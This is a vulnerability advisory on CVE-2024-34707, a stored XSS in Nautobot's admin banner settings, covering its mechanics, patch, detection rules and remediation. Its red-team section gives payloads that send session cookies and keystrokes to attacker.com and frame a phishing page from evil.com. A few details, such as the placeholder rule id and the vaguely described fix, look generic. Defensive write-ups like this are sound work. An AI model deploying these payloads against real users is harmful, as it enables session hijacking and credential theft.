CVE-2024-34707

Executive Summary

CVE-2024-34707 is a stored Cross-Site Scripting (XSS) vulnerability in Nautobot, a Network Source of Truth and Network Automation Platform. An authenticated admin user can inject arbitrary HTML into the BANNER_TOP, BANNER_BOTTOM, and BANNER_LOGIN configuration settings via the /admin/constance/config/ endpoint. This stored XSS can be triggered when other users view Nautobot web pages, potentially leading to session hijacking, credential theft, or further compromise. The vulnerability is fixed in Nautobot versions 1.6.22 and 2.2.4.

Supply Chain & Package Security

Nautobot is a Python-based application distributed via PyPI. The vulnerability exists in the core application code, not in a third-party dependency. However, organizations should verify the integrity of their Nautobot installation and ensure they are using official packages from the PyPI registry (nautobot). The fix is included in the official releases, and no additional package updates are required.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must view a page with the injected banner)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High. While the attack requires admin privileges, the stored XSS can affect all users, including other admins and regular users. The impact is amplified in multi-tenant environments or where Nautobot is used to manage critical network infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the Django Constance configuration backend, which allows dynamic modification of application settings. The BANNER_TOP, BANNER_BOTTOM, and BANNER_LOGIN settings are intended to display custom banner text on Nautobot web pages. However, the application does not sanitize or escape HTML input before rendering these banners.

An admin user can craft a malicious payload, such as:

<script>alert('XSS')</script>

or more sophisticated JavaScript that steals session cookies or performs actions on behalf of the victim.

The injected script is stored in the database and rendered on every page load for all users, making it a persistent (stored) XSS. The attack flow is:

1. Admin logs in and navigates to /admin/constance/config/.
2. Admin modifies one of the banner settings with malicious HTML/JavaScript.
3. Any user (including non-admin) viewing any Nautobot page sees the banner and executes the script.

Vulnerable vs. Patched Code

Vulnerable Code (Nautobot < 1.6.22, < 2.2.4): The banner settings are rendered directly without sanitization. For example, in a template:

<div class="banner-top">{{ constance.BANNER_TOP }}</div>

Patched Code (Nautobot 1.6.22, 2.2.4): The fix introduces HTML sanitization using a library like bleach or Django's escape filter. The patched template:

<div class="banner-top">{{ constance.BANNER_TOP|escape }}</div>

Additionally, server-side validation ensures that only safe HTML tags are allowed.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for a Nautobot instance (version < 1.6.22 or < 2.2.4).
• Network access to the Nautobot web interface.

Steps:

1. Log in as an admin user.
2. Navigate to /admin/constance/config/.
3. In the BANNER_TOP field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the configuration.
5. Any user visiting any Nautobot page will execute the script, sending their session cookie to the attacker.

Alternative Payloads:

• Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
• Phishing: <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><iframe src="https://evil.com/login"></iframe></div>

Blue Team

Detection:

• Monitor /admin/constance/config/ POST requests for unusual payloads.
• Look for changes to BANNER_TOP, BANNER_BOTTOM, or BANNER_LOGIN settings in audit logs.
• Use web application firewalls (WAF) to block common XSS patterns.

Prevention:

• Apply the patch by upgrading to Nautobot 1.6.22 or 2.2.4.
• Restrict admin access to the Constance configuration endpoint.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown domains from Nautobot server.
  • Suspicious POST requests to /admin/constance/config/ with HTML/JavaScript payloads.
• Host:
  • Modified BANNER_TOP, BANNER_BOTTOM, or BANNER_LOGIN settings in the database.
  • Unexpected JavaScript execution in browser console when viewing Nautobot pages.
• Logs:
  • Audit log entries showing changes to Constance configuration by admin users.
  • Web server logs with POST /admin/constance/config/ from admin IPs.

Detection Engineering

YARA Rule

rule CVE_2024_34707_Nautobot_XSS {
    meta:
        description = "Detects stored XSS payloads in Nautobot banner settings"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-34707"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Nautobot Banner Configuration XSS Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to inject XSS payloads into Nautobot banner settings
author: Valters IT
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        http.method: 'POST'
        http.url: '/admin/constance/config/'
        http.body|contains|all:
            - 'BANNER_TOP'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate admin changes with safe HTML
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34707 Nautobot Stored XSS Injection"; flow:to_server; content:"POST"; http_method; content:"/admin/constance/config/"; http_uri; content:"BANNER_TOP"; http_client_body; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Nautobot to version 1.6.22 or 2.2.4.
2. If upgrade is not possible, restrict access to /admin/constance/config/ to only trusted admin IPs.
3. Implement a WAF rule to block <script> tags in POST requests to the Constance endpoint.

Long-term:

• Enforce strict input validation and output encoding for all user-controlled data.
• Regularly audit admin activities and configuration changes.
• Implement Content Security Policy (CSP) headers to reduce XSS impact.
• Use a web application firewall (WAF) with XSS protection rules.

Workaround:

• Manually sanitize banner input by editing the database directly, but this is not recommended as it can be bypassed.

Valters IT signature: This report is generated for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.